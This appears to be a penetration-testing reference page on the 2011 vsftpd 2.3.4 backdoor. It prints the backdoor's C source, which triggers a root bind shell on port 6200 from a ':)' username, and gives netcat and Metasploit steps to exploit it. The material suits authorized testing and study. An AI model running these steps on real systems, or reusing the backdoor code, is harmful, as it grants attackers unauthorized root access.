# vsftpd 2.3.4 Backdoor

> Exploit the infamous vsftpd 2.3.4 backdoor vulnerability, triggering a root shell via malicious smiley-face username on port 6200.

- **URL:** https://hackindex.io/services/ftp/exploitation/vsftpd-234
- **Path:** FTP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ftp/exploitation.md)
- **Published:** 2025-12-29
- **Updated:** 2026-04-24

> [!WARNING]
> Only use these payloads and techniques on targets you own or have explicit written permission to test.

**CVE**: CVE-2011-2523

The vsftpd 2.3.4 backdoor originated from a supply-chain compromise in July 2011. An unknown attacker hacked the official vsftpd download site and replaced the vsftpd-2.3.4.tar.gz archive with a trojaned version for a short period (June 30 to July 3). Anyone who downloaded and compiled from that file ended up with a daemon containing a deliberate root backdoor.

- **Trigger** send a username containing :) (the bytes 0x3a 0x29) during login to activate the backdoor.
- **Bind shell on port 6200** the backdoor opens a root shell listener that accepts one connection at a time.
- **Manual exploitation** trigger with netcat on port 21, then connect to port 6200 for an interactive root shell.
- **Metasploit module** exploit/unix/ftp/vsftpd_234_backdoor automates the trigger and shell connection.

## **Technical Details**

The malicious code was inserted into the source. In str.c (or related parsing code), during username handling:

```c
str_contains_line(const struct mystr * p_str,
  const struct mystr * p_line_str) {
  static struct mystr s_curr_line_str;
  unsigned int pos = 0;
  while (str_getline(p_str, & s_curr_line_str, & pos)) {
    if (str_equal( & s_curr_line_str, p_line_str)) {
      return 1;
    } else if ((p_str -> p_buf[i] == 0x3a) &&
      (p_str -> p_buf[i + 1] == 0x29)) {
      vsf_sysutil_extra();
    }
  }
  return 0;
}
```

More precisely, it checks for the bytes \x3a\x29 (ASCII ":)") in the username string.

This triggers vsf_sysutil_extra() in sysdeputil.c (or equivalent backdoor function):

```c
vsf_sysutil_extra(void) {
  int fd, rfd;
  struct sockaddr_in sa;
  if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    exit(1);
  memset( & sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if ((bind(fd, (struct sockaddr * ) & sa,
      sizeof(struct sockaddr))) < 0) exit(1);
  if ((listen(fd, 100)) == -1) exit(1);
  for (;;) {
    rfd = accept(fd, 0, 0);
    close(0);
    close(1);
    close(2);
    dup2(rfd, 0);
    dup2(rfd, 1);
    dup2(rfd, 2);
    execl("/bin/sh", "sh", (char * ) 0);
  }
}
```

No authentication required. Send a username containing :) (smiley face) during FTP login attempt - the daemon opens a bind shell on port 6200 as root (vsftpd runs as root by default).

The backdoor shell closes after one connection/disconnect.

## Manual Exploitation

Connect to FTP port (telnet or nc works since no real auth needed):

```bash
nc $TARGET_IP 21
USER anything:)
PASS whatever
```

(The FTP connection will hang or drop - that's normal.)

Now connect to the opened backdoor shell:

```bash
nc $TARGET_IP 6200
id
# uid=0(root) gid=0(root) ...
```

Interactive root shell. Run commands freely.

Note: Shell dies on disconnect. Retrigger by sending another smiley username if needed.

## Metasploit Module

> [!CAUTION]
> Use of Metasploit or any automated exploit tools is strictly prohibited in certification exams like OSCP. You must demonstrate manual exploitation techniques.

```bash
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS $TARGET_IP
set payload cmd/unix/interact   # default; gives interactive shell on 6200
exploit
```

The module sends the smiley trigger, waits for port 6200 to open, then connects and drops a root command shell (or interact payload).

## References

- [xorl %eax, %eax VSFTPD Writeup](https://xorl.wordpress.com/2011/07/05/vsftpd-2-3-4-backdoor) - Provides snippets of the backdoored source code
- [CVE-2011-2523 Details](https://nvd.nist.gov/vuln/detail/CVE-2011-2523) - NIST details on CVE-2011-2523